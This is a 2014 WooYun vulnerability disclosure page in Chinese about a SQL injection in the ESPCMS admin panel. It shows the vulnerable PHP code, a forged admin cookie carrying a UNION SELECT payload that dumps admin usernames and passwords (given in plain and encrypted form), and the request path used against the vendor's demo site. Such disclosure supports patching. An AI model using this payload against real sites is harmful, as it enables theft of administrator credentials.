当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2014-68320

漏洞标题: 易思ESPCMS sql注入(demo成功)

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: roker

提交时间: 2014-07-13 08:14

公开时间: 2014-10-11 08:16

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

0人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-13: 细节已通知厂商并且等待厂商处理中
2014-07-14: 厂商已经确认,细节仅向厂商公开
2014-07-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-07: 细节向核心白帽子及相关领域专家公开
2014-09-17: 细节向普通白帽子公开
2014-09-27: 细节向实习白帽子公开
2014-10-11: 细节向公众公开

简要描述:

rt
V6.0.14.07.07 UTF8

详细说明:

看了大牛们提交的 http://**.**.**.**/bugs/wooyun-2014-062528

下了最新版来看看,发现 加密函数 还是老样子啊- -

不过 ,查询换成 了 id 而不是 username了,

但是 id 是 intval的。

code 区域
function member_cookieview($keyword = false) {
$retrunstr = array();
$retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));

list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info;

$retrunstr['userid'] = intval($retrunstr['userid']);
$retrunstr['integral'] = intval($retrunstr['integral']);
$retrunstr['mcid'] = intval($retrunstr['mcid']);

return !$keyword ? $retrunstr : $retrunstr[$keyword];
}



前台利用cookie注入的地方 彩笔我是没找到了, 但是 后台检测管理登入的文件出了问题

/adminsoft/control/management.php

code 区域
function onhome() {
parent::start_template();

$db_table = db_prefix . 'admin_member';
$db_where = "username='$this->esp_username'";
$rsMember = $this->db->fetch_first('SELECT id,username,password,name,sex,intotime,intime,outtime,ipadd,hit,powergroup,inputclassid,isclass FROM ' . $db_table . ' WHERE ' . $db_where);
$this->ectemplates->assign('username', $rsMember['username']);
$this->ectemplates->assign('name', $rsMember['name']);
if ($rsMember['sex'] == 1) {
$rsMember['sextype'] = $this->lng['select_sex_1'];
} else {
$rsMember['sextype'] = $this->lng['select_sex_0'];
}


$db_table = db_prefix . 'admin_powergroup';
if (empty($rsMember['powergroup']) && empty($rsMember['username'])) {
exit('Cookie err');
}
$db_where = 'id=' . $rsMember['powergroup'];
..............



这里 username 带入了查询。当然 要满足admin_purview()

code 区域
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));

$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));

list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;//在此处 赋值esp_username 导致注入
.................
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) // 和以前一样 要满足这个条件。



用 @索马里的海贼 的方法 得到key 后 构造恶意的cookie 即可注入。

官网测试下,得到key的 过程就不多说了,戳这里 http://**.**.**.**/bugs/wooyun-2014-062528



正常的解密后的 cookie是这样子的

1|admin|md5(pass)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)



将admin替换成 sql语句 ,后两个md5 值改下, 得到如下

cookie

code 区域
1|' union select 1,username,3,password,5,6,7,8,9,10,11,12,13 from espcms_admin_member#|a|a32b0be10848d387fcc64b92239d689f|1|1|29aac6e385cf17b8d63035edfbe068af



自带的函数加密下->

code 区域
ecisp_admininfo=Zt5YVtnSmaGmWKqe0sbH2FGUkKzUyKfQk9LGjpSO0sOp1t3V1pZhbWGYXW2QnFxrZGlnZZeSkJVjj5Vqgcmn0Z-FxtXRxc_VlcTK082glKWaz5Ob1oesk7SZamvIkcbJYpOca5nHaJppy8TFl5bEm2iVmZ_IaG1xm95ispXgYmuZmZpvy5ScmZTJlW7Dm5mYZZWUl8bGyMSbk5yexZg



调用adminsoft/control/management.php的 onhome

http://**.**.**.**/adminsoft/index.php?archive=management&action=home

修改 cookie ,恩,数据出来了。

6.jpg

漏洞证明:

6.jpg

修复方案:

为毛不换个算法

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-07-14 09:29

厂商回复:

感谢您对此漏洞的提供,我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-04 23:16 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    洞主,这个给了你500吗

登录后才能发表评论,请先 登录